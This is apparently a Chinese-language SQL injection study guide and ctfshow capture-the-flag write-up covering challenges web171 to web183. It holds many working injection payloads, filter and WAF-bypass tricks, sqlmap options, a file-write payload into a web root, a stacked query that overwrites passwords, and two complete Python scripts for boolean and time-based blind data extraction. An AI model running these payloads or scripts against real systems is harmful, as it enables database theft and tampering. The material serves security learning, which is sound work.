一.原理 攻击者在进行数据库查询时恶意构造查询语句，使得查询语句能够得到任意攻击者想要的信息(永远不要相信用户的输入)
二.类型 按查询来分可分为字符型和数字型(主要区别是字符型需要闭合而数字型无闭合)
按注入方式可分为union注入、报错注入、盲注、文件上传注入等
判断有无注入 首先在参数后加上单引号(无论字符型还是数字型都会因单引号个数不匹配报错)
判断注入类型 1.输入and 1=1和and 1=2 若均为正常则为字符型，第二个报错即为数字型
2.输入id=1和id=2-1 若结果相同则为数字型，第二个不同则为字符型
以ctfshow171举例
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id' ]."' limit 1;";
传入的id参数被嵌入到查询语句中，那么只需要在传入参数时将前单引号闭合，后单引号注释，就能获得想得到的数据(以下仅剖析id=的语句)
id= '2-1' 传入参数为2 -1 ，有数据，但与上述不同
即都可判断出该题为字符型注入
三.前置学习 1.闭合方式(数字型不用管闭合方式) 常见闭合有’ “ ‘) “)等,实际注入过程中可以多次尝试
2.注释符 常见注释符有–+，#，%23等
3.常规注入方法
查找注入点
判断字符型还是数字型，若是字符型要找到闭合方式
查询列数(order by,group by进行二分法判断)
找到回显位(id通常传参为不存在数据0或者-1，使回显能够直接显示而没有查询出来的数据进行干扰)
爆数据库名
爆表名
爆列名
爆数据
4.常见过滤及绕过 空格过滤 编码绕过:%20 %09 %0a %0b %0c %0d %a0 %00
内联注释:/**/ /*字符串*/
括号绕过:即添加括号代替空格，比如我们的正常语句为select user from ctfshow，现在我们就可以改成select(user)from(ctfshow)
注释符过滤 –+,#,%23,–%0c,–%01(控制字符,用于特殊文件开头,可用于注释符)
也可以用”||”1、” or “1”=”1，甚至是”union select 1,2,”3进行闭合
select过滤 复写绕过(比如seselectlect),大小写绕过(比如Select)
引号过滤 转为16进制字符串，这样就不用使用引号
通过传入\转义绕过，参考web233
逗号过滤 from for(盲注) select substr(database() from 1 for 1 );select mid(database() from 1 for 1 );等价于mid/ substr(database(),1 ,1 )
offset 盲注的时候除了substr()和mid()需要使用逗号，limit()也会使用逗号，比如语句select * from sheet1 limit 0,1 ,这时我们可以使用select * from sheet1 limit 1 offset 0 等效替代
join select 1,2等价于select * from (select 1)a join (select 2)b
like select ascii(mid(user(),1,1))=114等价于select user() like ‘r%’，即逐个字符串比较，我们可以暴力破解%前的字符串，直到爆破出select user() like ‘root@localhost’，得到真正的用户名
or and xor not过滤 四.常规注入 1.union注入 概念
联合注入即union注入，其作用就是，在原来查询条件的基础上，通过系统关键字union从而拼接上我们自己的select语句，然后把后面select得到的结果将拼接到前面select的结果后边。如：前个select得到2条数据，后个select也得到2条数据，那么后个select的数据将拼接到第一个select返回的内容中。
联合注入有它的利用条件，UNION 内部的 SELECT 语句必须拥有相同数量的列，列也必须拥有相似的数据类型，每条 SELECT 语句中的列的顺序必须相同。即
select 1 ,2 ,3 from table_name1 union select 4 ,5 ,6 from table_name2;
常见函数 group_concat(a) 将a中所有数据在一行中输入出来 group_concat(a,b,c) 将a和c中间以b连接在一行中输出
关键库，表，列 information_schema:包含mysql简要信息的集合 information_scheme.schemata：库名集合表 information_schema.tables:表名集合表 information_schema.columns:列名集合表 information_schema.statistics:索引集合表
查询语句 id= 0 ' union select 1,2,3 --+(判断回显位) id=0' union select 1 ,database(),3 id= 0 ' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+ id=0' union select 1 ,table_name,3 from information_schema.tables where table_schema= 'database()' id= 0 ' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=' security'and table_name=' users'--+(在security库，users表中爆所有列名) id=0' union select 1 ,group_concat(username,'~' ,password),3 from usersid= 0 ' union select 1,(select password from users where username=' flag'),3--+(使用子查询语句查询user表中username为flag的password)
2.报错注入 概念 构造语句，让错误信息夹杂可以显示数据库内容的查询语句，返回报错提示中含数据库内容
常见类型 作用 MySQL 中用于从 XML 数据中提取特定值的函数，可以根据 XPath 表达式从 XML 文档中提取所需的信息。
语法 EXTRACTVALUE(xml_target, xpath_expression)
xml_target: 包含 XML 数据的字符串或表达式。xpath_expression: 一个 XPath 表达式，用于指定要提取的 XML 元素或属性。EXTRACTVALUE() 函数返回与 XPath 表达式匹配的 XML 元素的文本内容。如果找不到匹配项，则返回空字符串。
举例
1.先在ctfstu数据库内创建表xml
2.在表内插入两段数据
1.把查询参数路径写错(查询不到内容,但不会报错)
select extractvalue(doc,'/book/titlelll' ) from xml;
2.把查询参数格式符号写错(提示报错)
select extractvalue(doc,'~book/title' ) from xml;
3.报错方法
?id= 100 ' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+ ?id=100' and 1 = extractvalue(1 ,concat(0x7e ,(select database())))注:concat为拼接，0x7e 为~ 的ASCII码
4.获取信息
?id= 100 ' and 1=extractvalue(1,concat(0x7e,(select group concat(table_name) from information_schema.tables where table_schema= database())))--+ #获取所需数据表表名users ?id=100' and 1 = extractvalue(1 ,concat(0x7e ,(select group_concat(column_name) from information_schema.columns where table_schema= database() and table_name= 'users' )))#获取所需数据列列名username和password ?id= 100 ' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,' ~ ',password)from users ))--+ #可加分隔符区分(默认只返回32个字符) ?id=100' and 1 = extractvalue(1 ,concat(0x7e ,(select substring (group_concat(username,'~' ,password),25 ,30 ) from users)))#使用函数substring (显示内容,开始字符,显示位数)解决只能返回32 个字符串问题
updatexml()函数报错 作用 用于在 XML 文档中更新或插入特定的节点。它主要用于 XML 数据的操作和处理。
语法 UPDATEXML(target_xml, xpath_expr, new_xml)
target_xml: 要操作的 XML 文档。xpath_expr: XPath 表达式，用于定位要更新的节点。new_xml: 新的 XML 内容，用于替换或插入到指定位置。
举例 AND (SELECT 1 FROM (SELECT updatexml(1 , CONCAT(0x7e ,(SELECT database()),0x7e ),1 )) x)
floor()函数报错 使用函数
rand():随机返回0~1间的值
select rand() from users; **根据users行数随机显示结果 **
rand(0)*2固定报错
floor():小数向下取整数
concat_ws(符号,数据1,数据2):将括号内数据用第一个字段连接起来
as:别名
group by:分组
count(*):汇总统计数量
报错原理 统计时没有的结果则重新计算并写入
步骤
1.确认字符注入(闭合符号)/数字注入，前段语句查询列数
2.floor报错
?id= 0 ' union select 1,count(*),concat_ws(' - ',(select group_concat(username,' :',password)from users,floor(0)*2))as a from information_schema.tables group by a--+
3.布尔盲注 4.时间盲注 布尔/时间盲注就是有/无回显的区别，都不能回显出有用信息，但是布尔盲注根据对信息查询有不同的回显结果，时间盲注通过几个关键函数来对条件进行判断，通过响应延时来判断条件是否正确
主要函数 ascii():将内容返回ascii值 substr(string,1 ,2 ):将字符串从1 开始取2 位,第二个参数从1 开始(和limit的第二个参数从0 开始区分) 例如substr('length' ,1 ,2 )= 'le' if(bool,true ,false ):判断语句，条件关系式成立执行true 内容，不成立则执行false 内容 sleep(3 ):响应延迟3 秒 benchmark(100 ,md5('test' )):对test进行md5加密100 次，后面的表达式可以随意替换，主要使服务器响应有延迟就行 其他函数及用法在实战中再进行补充吧，sql 的姿势太多了，还得认真慢慢学，下面是一些常用payload 布尔盲注 id= 1 ' and (ascii(substr(database(),1,1))=99)# #如果数据库第一个字母为c(ASCII值99)才返回正确 时间盲注 id=1' and (if(ascii(substr(database(),1 ,1 ))= 99 ,sleep(2 ),0 ))# #如果数据库第一个字母为c才休眠2 秒
注意，在进行时间盲注时时间不是绝对的，要根据网络情况等适当更改，不然容易炸(做题时吃了巨多亏)
5.sqlmap注入 简介 sqlmap是一款kali自带的基于python的自动化SQL注入工具,打开后输入python sqlmap.py出现以下界面即可使用
基本语法
类别 参数 功能说明
目标指定 -u URL指定目标 URL，检测注入点（如 -u "http://example.com?id=1"）
-m 文件路径从文件中批量读取 URL 进行扫描（如 -m urls.txt）
-r 文件路径从文件中加载 HTTP 请求（常用于 POST 注入，如 BP 抓包内容）
--dbms 数据库名字指定数据库进行注入
--technique 代码指定方式进行注入，代码如下：B(布尔)、E(报错)、U(union)、S(堆叠)、T(时间)、Q(内联查询)
数据库操作 -D 数据库名指定目标数据库（如 -D mysql）
-T 表名指定目标表（如 -T users）
-C 列名指定目标列（如 -C username,password）
--dbs列出所有数据库
--current-db获取当前数据库名
--tables列出指定数据库的所有表
--columns列出指定表的所有列
--schema显示数据库表结构（包括字段类型）
--dump导出指定表的数据（如 --dump -T users）
--start 行数指定导出的起始行（如 --start 10）
--stop 行数指定导出的结束行（如 --stop 20）
--search搜索数据库/表/列（如 --search -C password）
会话与身份验证 --cookie "值"设置 Cookie 进行身份验证或绕过限制（如 --cookie "PHPSESSID=abc123"）
请求配置 --method=GET指定 HTTP 请求方法（如 --method=POST）
--referer "值"伪造 Referer 头（如 --referer "https://google.com"）
--user-agent "UA"自定义 User-Agent（如 --user-agent "Mozilla/5.0"）
--random-agent使用随机 User-Agent 绕过检测
绕过防护 --tamper "脚本名"使用篡改脚本绕过 WAF（如 --tamper "space2comment"）
输出控制 --batch自动选择默认选项，无需交互确认
性能优化 --threads 数值设置并发线程数（1-10，如 --threads 5）
--proxy "地址"通过代理发送请求（如 --proxy "http://127.0.0.1:8080"）
检测等级 --level=1-5设置检测等级（1-5，默认 1，等级越高检测越全面）
风险控制 --risk=0-3设置风险等级（0-3，默认 1，高风险可能破坏数据）
信息获取 -b获取数据库版本（Banner）
6.order by和limit注入 摘抄于:SQL特殊位置注入：order注入和limit注入_sql注入limit-CSDN博客
概念 在了解order注入和limit注入之前要先了解sql的语法顺序和执行顺序
sql 语法顺序select [distinct ]from join (如left join )on where group by having union order by limit
sql 执行顺序from on join where group by :group by 子句将数据划分为多个分组；sum,count,max,min,avg:聚合函数 having :使用having 子句筛选分组select :选择需要的列distinct (去重):对结果进行去重操作union :将多个查询结合联合，会重复上面步骤order by :对结果进行排序limit:返回的条数
这两种注入就是将输入的数据放在对应位置查找，由于位置不同，对应注入方式也不同
order by注入 语法 SELECT column1, column2, ...FROM table_nameORDER BY column1, column2, ... ASC | DESC ;Order by 后面默认跟要查询的字段，可以为多个字段，也可以用数字来代替，表示用第几个字段进行排序，这种方式经常用来判断表中有几个字段。字段后面可以跟升序或者降序排序 ASC 升序排序，默认为升序排序DESC 降序排序
注入判断 1）可以改变order by后的列名看排序是否改变来判断是在order by后面的注入点。然后加上ASC|DESC看结果排序是否有改变，有改变则证明有注入点
2）通过bool类型进行判断，下面两个页面如果返回结果不同，则证明有注入点
(select (case when (3013 = 3014 ) then '' else (select 1083 union select 9794 )end )) (select (case when (3013 = 3013 ) then '' else (select 1083 union select 9794 )end ))
3）mysql可以使用延时判断,页面响应时间如果延时3秒，那么证明有注入。
sqlserver数据库延时使用的是waitfor delay
4）如果返回报错，可以直接看报错信息是否存在注入点
注入方法 由上面执行顺序可知order by在union顺序之后，因此不能使用union语句来实现order注入
order by后面可以跟if(),case when else这样的复合查询语句。可以用来进行bool注入，延时注入等
order by后面可以接数字，字段名，这个可以用来判断是否存在注入以及字段数。
limit注入 语法 SELECT column1, column2, ...FROM table_nameLIMIT (offset_value), number_of_rows; offset_value:起始列位置(可选) number_of_rows:限制的列数
注入方法 1）limit前面没有order by时，后面可以跟union，如果存在order by，则不能使用union。
2）limit后面不能直接跟select语句和if语句。可以跟procedure语句，值得注意的是只有在5.0.0< MySQL <5.6.6版本才可以使用，procedure后面支持报错注入以及时间盲注
3）limit 关键字后面还可跟PROCEDURE和 INTO两个关键字，但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限，因此利用比较难。
函数 procedure analyse()(用于报错注入或时间盲注)示例 procedure analyse(extractvalue(rand(),concat(0x3a ,database())),1 );procedure analyse(if(ascii(substr(database(),1 ,1 )= 99 )),benchmark(2000000 ,MD5('test' )),benchmark(2000 ,MD5('test' )))
7.堆叠注入 通过添加一个新的查询或者终止查询( ; )，可以达到修改数据和调用存储过程的目的
在我们的Web系统中，因为代码通常只返回一个查询结果，因此，堆叠注入第二个语句产生的错误或者结果只能被忽略，我们在前端界面是无法看到返回结果的。因此，在读取数据时，我们建议使用union（联合）注入。同时在使用堆叠注入之前，我们也是需要知道一些数据库相关信息的，例如表名，列名等信息。
比如在对username进行注入时，构造payload如下(已知表名为ctfshow_web,列名为password)
admin;updata ctfshow_web set password= 1 ; #进行查询后将用户密码设为1 ，下次即可直接用1 登录
8.无列名注入 在过滤了or时，就相当于过滤了information_schema，因此不能正常注入，才有了无列名注入
参考无列名注入姿势总结 - phant0m1 - 博客园
含表名集合的表 除了information_schema.tables,还有以下库或视图中含有表名信息
mysql： mysql.innodb_table_stats mysql.innodb_index_stats sys： x$schema_table_statistics_with_buffer schema_table_statistics_with_buffer 视图： schema_auto_increment_columns payload: select group_concat(table_name) from mysql.innodb_table_stats|mysql.innodb_index_stats|等等
别名代替列名 select * from user + | id | name | age | email | + | 1 | lihua | 18 | 12345 @qq .com | | 2 | bob | 12 | 54321 @qq .com | | 3 | kali | 13 | 13579 @qq .com | +
利用union注入的数据来替代列名
select 1 ,2 ,3 ,4 union select * from user ;+ | 1 | 2 | 3 | 4 | + | 1 | 2 | 3 | 4 | | 1 | lihua | 18 | 12345 @qq .com | | 2 | bob | 12 | 54321 @qq .com | | 3 | kali | 13 | 13579 @qq .com | +
利用别名替代列名
select `1 ` from (select 1 ,2 ,3 ,4 union select * from user )a;#注意1 的`号+ | 1 | + | 1 | | 1 | | 2 | | 3 | + 如果`被ban了也可以用别名绕过 select group_concat(b) from (select 1 as b,2 as c,3 ,4 union select * from user )a;+ | group_concat(b) | + | 1 ,1 ,2 ,3 | +
即实现了在未知列名的情况下仍然可以通过别名来查询表内数据
join爆列名 通过使用别名时如果有相同列名会报错来回显出列名
select * from user ;+ | id | name | age | email | + | 1 | lihua | 18 | 12345 @qq .com | | 2 | bob | 12 | 54321 @qq .com | | 3 | kali | 13 | 13579 @qq .com | +
如果是从user表中用别名join后再去union查询，就会报错
select * from user union select * from (select * from user as a join user as b)c;ERROR 1060 (42 S21): Duplicate column name 'id'
查找下一个列名，using指定了连接字段，因此会报错下一个字段
select * from user union select * from (select * from user as a join user as b using (id))c;ERROR 1060 (42 S21): Duplicate column name 'name'
以此类推
#查找第一个列名 select * from 表名 union select * from (select * from 表名 as a join 表名 as b)c;#查找下一个列名 select * from 表名 union select * from (select * from 表名 as a join 表名 as b using (上一个列名))c;
字符比较查询 在查询中对于不同长度的字符串，均是取第一个字符的ascii值进行比较，成立返回1，不成立返回0
select (select 'g' ) > (select 'flag' );#g103 f102+ | (select 'g' ) > (select 'flag' ) | + | 1 | + select (select 'g' ) > (select 'halg' );#g103 h104+ | (select 'g' ) > (select 'halg' ) | + | 0 | +
因此，类似于布尔盲注，可以爆破字符
先通过以下payload确定列数
select (select 1 ,1 ,1 ) > (select * from user );select (select 1 ,1 ,1 ,1 ) > (select * from user );
再通过以下payload来确定数据
1 || ((select 1 ,"b",1 ,1 ) > (select * from user ));在mysql5.7 版本中，对于返回行数不同的，会自动转换为可比较数据进行比较，因此可以通过结果的真假来找到表中数据
五.题目 无过滤注入 web171 简单的查询语句，结合上方sql查询语句用-1’ or username = ‘flag查询flag
web172 进select中无过滤2进行注入
先判断注入类型为字符型，用单引号闭合，再判断回显位置
先爆数据库名
-1 ' union select 1,database()--+
爆表名
-1 ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=' ctfshow_web'--+
判断两个可疑表名ctfshow_user和ctfshow_user2
分别爆列名
-1 ' union select 1,group_concat(column_name) from information_schema.columns where table_name=' ctfshow_user'--+ -1' union select 1 ,group_concat(column_name) from information_schema.columns where table_name= 'ctfshow_user2'
发现两个表名下列名均为三个id,username,password
爆字段
-1 ' union select 1,password from ctfshow_user where username=' flag'--+
此时提示flag不在该表
换另一个表
-1 ' union select 1,password from ctfshow_user2 where username=' flag'--+
获得flag
web173 法一:直接注入 先判断列数为3
找回显和库名
爆表名
-1 ' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
爆列名
-1 ' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=' ctfshow_user3'),3--+
爆字段
-1 ' union select 1,(select password from ctfshow_user3 where username=' flag'),3--+
注意 ：该返回逻辑对含有flag的字段进行限制，但是由于只是查找username为flag的项且flag以ctfshow开头未被过滤，如被过滤，可用base64编码或16进制编码后返回
if(!preg_match('/flag/i', json_encode($ret))){ $ret['msg']='查询成功'; }
该代码表示字段中如果不含有flag的大小写 (i表示匹配字段的大小写)，则查询成功
法二:base64返回 -1 ' union select 1,(select TO_BASE64(password) from ctfshow_user3 where username=' flag'),3--+
解码结果为
法三:十六进制返回 -1 ' union select 1,(select HEX(password) from ctfshow_user3 where username=' flag'),3--+
解码结果为
web174 照例，先找回显和列数，但是显示无数据，且由返回逻辑可得匹配掉了flag和0-9中的数，即有回显无数据，就使用布尔盲注
法一:GET布尔盲注脚本 使用蒙师傅脚本
注意 ：1.使用http而不是https,否则有ssl证书问题
2.通过提交时抓包找到提交路径即url//api/v4.php
import requests def brute_force_database_length (url, headers ): databaselen = 0 for l in range (1 ,50 ): databaselen_payload = f"?id=1' and length(database())={l} --+" response = requests.get(url + databaselen_payload, headers=headers) if 'admin' in response.text: databaselen = l break print ('数据库名字长度为: ' + str (databaselen)) return databaselen def brute_force_database_name (url, headers, databaselen ): databasename = '' for l in range (1 ,databaselen+1 ): for i in range (32 ,128 ): databasechar_payload = f"?id=1' and ascii(substr(database(),{l} ,1))='{i} '--+" response = requests.get(url + databasechar_payload, headers=headers) if 'admin' in response.text: databasename += chr (i) print (databasename) break print ('数据库名字为: ' + str (databasename)) return databasename def brute_force_table_count (url, headers, databasename ): tablecount = 0 for l in range (1 ,50 ): tablecount_payload = f"?id=1' and (select count(table_name) from information_schema.tables where table_schema='{databasename} ') ={l} --+" response = requests.get(url + tablecount_payload, headers=headers) if 'admin' in response.text: tablecount = l break print (f'表的个数为: {tablecount} ' ) return tablecount def brute_force_table_name (url, headers, tablecount,databasename ): tables=[] for t in range (0 ,tablecount): table_name = '' tablelen = 0 for l in range (1 , 50 ): tablelen_payload = f"?id=1' and length((select table_name from information_schema.tables where table_schema = '{databasename} ' limit {t+0 } , 1))={l} --+" response = requests.get(url + tablelen_payload, headers=headers) if 'admin' in response.text: tablelen = l break print (f'表{t+1 } 的长度为: {tablelen} ' ) for m in range (1 , tablelen+1 ): for i in range (32 , 128 ): table_name_payload = f"?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = '{databasename} ' limit {t+0 } , 1),{m} ,1))='{i} '--+" response = requests.get(url + table_name_payload, headers=headers) if 'admin' in response.text: table_name += chr (i) print (table_name) break print (f'表{t+1 } 的名字为: {table_name} ' ) tables.append(table_name) return tables ''' #爆破字段的个数 def brute_force_column_count(url, headers, tables): column_count = 0 for l in range(1, 50): column_countpayload = f"?id=1' and (select count(column_name) from information_schema.columns where table_name='{tables}')={l}--+" response = requests.get(url + column_countpayload, headers=headers) if 'admin'in response.text: column_count = l break print(f'表 {tables} 有 {column_count} 字段.') return column_count #查询表中字段 def brute_force_column_name(url, headers,tables, column_count): columns = [] for c in range(column_count): column_name = '' for l in range(1, 50): column_count_payload = f"?id=1' and length((SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{tables}' LIMIT {c},1))={l}--+" response = requests.get(url + column_count_payload, headers=headers) if 'admin'in response.text: column_count = l print(f'表 {tables} 中字段 {c+1} 的个数为: {column_count}') for m in range(1, column_count+1): for i in range(32, 128): column_name_payload = f"?id=1' and ascii(SUBSTR((SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{tables}' LIMIT {c},1),{m},1))='{i}'--+" response = requests.get(url + column_name_payload, headers=headers) if 'admin'in response.text: column_name += chr(i) print(column_name) break print(f'表 {tables} 中字段 {c+1} 的名字为: {column_name}') columns.append(column_name) return columns ''' def brute_force_table_data (url, headers,tables ): data = '' for c in range (0 ,100 ): for i in range (32 ,128 ): data_payload = f"?id=1' and ascii(substr((select password from {tables} where username='flag'),{c+0 } ,1))='{i} '--+" response = requests.get(url + data_payload, headers=headers) if 'admin' in response.text: data += chr (i) print (data) break print ('flag为: ' + str (data)) return data if __name__ == "__main__" : url = 'http://517733eb-2fdd-42a3-b505-c115fa0cd246.challenge.ctf.show//api/v4.php' success_message = "admin" headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0' } databaselen = brute_force_database_length(url, headers) databasename = brute_force_database_name(url, headers, databaselen) tablecount = brute_force_table_count(url, headers, databasename) tables = brute_force_table_name(url, headers, tablecount, databasename) for table in tables: data = brute_force_table_data(url, headers,table)
运行得到flag，且脚本更改url即可使用(极为方便！)
法二:转码返回 用到replace函数
replace(str,a,b) 在str中将a替换成b
直接写payload，注意，在语句中替换时不能替换为#和&
-1 ' union select ' a',(select REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,' 0 ',' @'),' 1 ',' `'),' 2 ',' $'),' 3 ',' % '),' 4 ',' ^ '),' 5 ',' ~ '),' 6 ',' * '),' 7 ',' (' ),' 8 ',' )'),' 9 ',' = ') from ctfshow_user4 where username=' flag')--+
直接转换后得到flag
def decode_string (input_string ): mapping = { '@' : '0' , '`' : '1' , '$' : '2' , '%' : '3' , '^' : '4' , '~' : '5' , '*' : '6' , '(' : '7' , ')' : '8' , '=' : '9' } decoded_chars = [mapping.get(char, char) for char in input_string] decoded_string = '' .join(decoded_chars) return decoded_string input_str = "ctfshow{aa$ea*ae-`c$@-^$c`-bbd@-~($=e~bc*^c@}" decoded_str = decode_string(input_str) print ("Decoded string:" , decoded_str)
web175 先看返回逻辑
//检查结果是否有flag if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){ $ret['msg']='查询成功'; }
可判断返回时所以ASCII码中字符均被过滤，即无回显，用时间盲注来判断
[sql注入-盲注]: sql注入-盲注 | Yxing
法一:GET时间盲注脚本 还是使用蒙师傅脚本(蒙师傅真是太厉害了)
import requestsimport datetimeimport timedef brute_force_table_data (url ): data = '' for c in range (0 ,100 ): for i in range (32 ,128 ): payload = f"?id=1' and if(ascii(substr((select password from ctfshow_user5 where username='flag'),{c+0 } ,1))='{i} ',sleep(5),0)--+" time1 = datetime.datetime.now() r = requests.get(url + payload) time2 = datetime.datetime.now() sec = (time2 - time1).seconds if sec >= 5 : data += chr (i) print (data) break print ('flag为: ' + str (data)) return data if __name__ == "__main__" : url = 'http://7d3a021e-75e1-4d2f-b4f3-f7730ae28d82.challenge.ctf.show//api/v5.php' flag = brute_force_table_data(url)
运行结果(最后的flag为没等了)
注：1.他写的休眠时间和判断时间为时间大于5秒，我改成2秒，第一个字符就错了，后面不知道还会不会错(已老实)，所以根据蒙师傅的经验，时间长一点好(后面又去请教了原因，和平时手工注入是一样的，平时都可能有网络延迟，所以说这也有可能，长一点可以减少误差)
2.着重注意payload
for c in range (0 ,100 ): for i in range (32 ,128 ): payload = f"?id=1' and if(ascii(substr((select password from ctfshow_user5 where username='flag'),{c+0 } ,1))='{i} ',sleep(5),0)--+"
剖析一下
(select password from ctfshow_user5 where username= 'flag' )
子查询语句，更美观高效，但是要记住select
从字符串中查找子字符串，遍历整个flag，在string中c+0的位置开始每次读取一个
ascii(substr((select password from ctfshow_user5 where username= 'flag' ),{c+ 0 },1 ))= '{i}'
将上面的字符通过ascii函数返回ascii值
if(ascii(substr((select password from ctfshow_user5 where username= 'flag' ),{c+ 0 },1 ))= '{i}' ,sleep(5 ),0 )
如果该字符ascii值符合i的值就休眠5秒，否则下一个
前面就是很正常的id闭合，后面–+注释
法二:读写文件 ' union select username, password from ctfshow_user5 into outfile ' / var/ www/ html/ flag.txt' %23
将username和password写入flag.txt，再去读取该文件
PS:这个还挺方便
过滤注入 web176(过滤select) 先判断列数为3
回显时出错
测试发现过滤select(双写好像绕不过，通过大小写绕过)
后面就可以进行正常的sql注入步骤
爆库名
-1 ' union Select 1,(database()),3--+
爆表名
-1 ' union Select 1,(Select group_concat(table_name) from information_schema.tables where table_schema=' ctfshow_web'),3--+
爆列名
-1 ' union Select 1,(Select group_concat(column_name) from information_schema.columns where table_name=' ctfshow_user'),3--+
爆数据
-1 ' union Select 1,(Select password from ctfshow_user where username=' flag'),3--+
web177(过滤空格,注释符) 还是先判断过滤，当看到6时都是无数据就包是过滤了该语句的什么的
当将–+替换为%23(#的url编码)时仍然无数据，考虑空格被过滤了，但是空格绕过后没想到也不行，那就是空格和注释符一起过滤了
最终一起绕过后成功
然后就又是一样的步骤
爆库名
-1 '/**/union/**/select/**/1,database()/**/,3%23
爆表名
-1 '/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=' ctfshow_web'),3%23
爆列名
-1 '/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name=' ctfshow_user'),3%23
爆数据
-1 '/**/union/**/select/**/1,(select/**/group_concat(username,' ~ ',password)from/**/ctfshow_user/**/where/**/username=' flag'),3%23
**补充:**在看蒙师傅博客时还发现176,177另一种解法，直接通过万能密码绕过限制，直接就可以查询(由于176过滤select，所以该万能密码不用改格式),简单快捷高效
176(新开的一个环境，所以flag不一样了)
177亲测有效
web178(过滤空格,*) 这次学聪明了，先用万能密码试试水(直接用%23绕过注释符过滤了，其实测出来也确实有过滤)
再把空格用/**/替换，还是不行，推测可能是把/**/一起过滤了，用%0c(换页符),%09(制表符)绕过就行
然后就直接出来了(万能密码好快。。。)，就可以交了，不过也可以自己多试试去慢慢注入
web179(过滤空格,%09) 测试过滤，还是先用万能密码试试水
无数据，就说明里面又有什么被过滤了，这里我有个点就是第一个空格用%09，第二个空格用%0c，没数据就误以为不对(还以为%被过滤了)，后面看蒙师傅博客才知道就只过滤了%09，所以两个都用%0c绕过就行了
PS:万能密码好！！！！！
web180(过滤%23,空格) 用万能密码进行空格绕过仍无数据，可能对注释符%23进行过滤，那现在就有绕过该过滤和闭合后引号两个办法
法一:绕过%23过滤 将payload中%23改为–%0c,即可绕过过滤
法二:闭合后引号 进行测试，有回显，表示可以成功闭合
找回显
爆库名
-1 '%0cunion%0cselect%0c1,(database()),' 3
爆表名
-1 '%0cunion%0cselect%0c1,(select%0cgroup_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=' ctfshow_web'),' 3
爆列名
-1 '%0cunion%0cselect%0c1,(select%0cgroup_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name=' ctfshow_user'),' 3
爆数据(由于重开了环境flag不同了)
-1 '%0cunion%0cselect%0c1,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername=' flag'),' 3
补充:burpsuite Fuzzing 看蒙师傅博客看到了一种找过滤字符的方法，通过bp攻击来找到过滤字符
首先下载爆破字典Fuzzdb:https://github.com/fuzzdb-project/fuzzdb
然后bp抓包在id位置加变量
导入刚才下载的文件进行攻击
fuzzdb-master\attack\sql-injection\detect\xplatform.txt
通过返回包长度来判断哪些字符被过滤
web181(过滤空格) 根据该题目返回逻辑中可知对输入字符进行了过滤
function waf ($str return preg_match ('/|\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i' ,$str ); }preg_match (a,b)表示在b中查找a，如果匹配上则返回1 (匹配成功)，否则返回0 ：匹配空格字符。 \*：匹配星号字符（*），在正则表达式中需要转义。 \x09：匹配水平制表符（Tab）。 \x0a：匹配换行符（LF）。 \x0b：匹配垂直制表符。 \x0c：匹配换页符。 \x00：匹配空字符（NULL ）。 \x0d：匹配回车符（CR）。 \xa0：匹配不间断空格。 \x23：匹配井号（ \ file：匹配文本“file”。 into：匹配文本“into”。 select：匹配文本“select”。
(做题时候没有思路，感觉都被禁完了，去看了wp和蒙师傅博客才知道%0c其实没有被禁，还是要自己多尝试)
既然%0c没有过滤,那就可以用万能密码直接做出来
1 '%0cor%0c1=1--%0c 注意万能密码写法，第一次写成1' % 0 cor1= 1 也可写成以下形式 1 '%0cor' 1 '=' 1 '--%0c 1' % 0 cor% 0 c1= 1 看wp也有不用万能密码，直接使用查找 'or(username)=' flag9999 'or`username`=' flagid= 0 '||username=' flag
web182(过滤+flag) 先分析传入参数过滤逻辑
function waf ($str return preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i' , $str ); } 比上一题多过滤一个flag，那最后那几个直接查找的就不行了，试试万能密码
经过测试和上题一样未过滤%0c,由此万能密码1'%0cor%0c1=1--%0c注入
web183(POST布尔盲注) 首先发现该题没有搜索框了，重新查看查询语句发现需要post传参tableName
根据返回逻辑判断过滤参数
function waf ($str return preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i' , $str ); } ：匹配空格字符。 \*：匹配星号字符（*），需要转义。 \x09：匹配水平制表符（Tab）。 \x0a：匹配换行符（LF）。 \x0b：匹配垂直制表符。 \x0c：匹配换页符。 \x0d：匹配回车符（CR）。 \xa0：匹配不间断空格。 \x00：匹配空字符（NULL ）。 \ \x23：匹配井号（ \=：匹配等号（=），需要转义。 or ：匹配文本“or ”。\x7c：匹配竖线（|），需要转义。 select：匹配文本“select”。 and ：匹配文本“and ”。flag：匹配文本“flag”。 into：匹配文本“into”。
该题的逻辑就是post向tableName传表名，通过返回的表中记录总数多少来进行布尔盲注
先传参为ctfshow_user，为可用表名，再从里面跑脚本爆数据
使用蒙师傅脚本
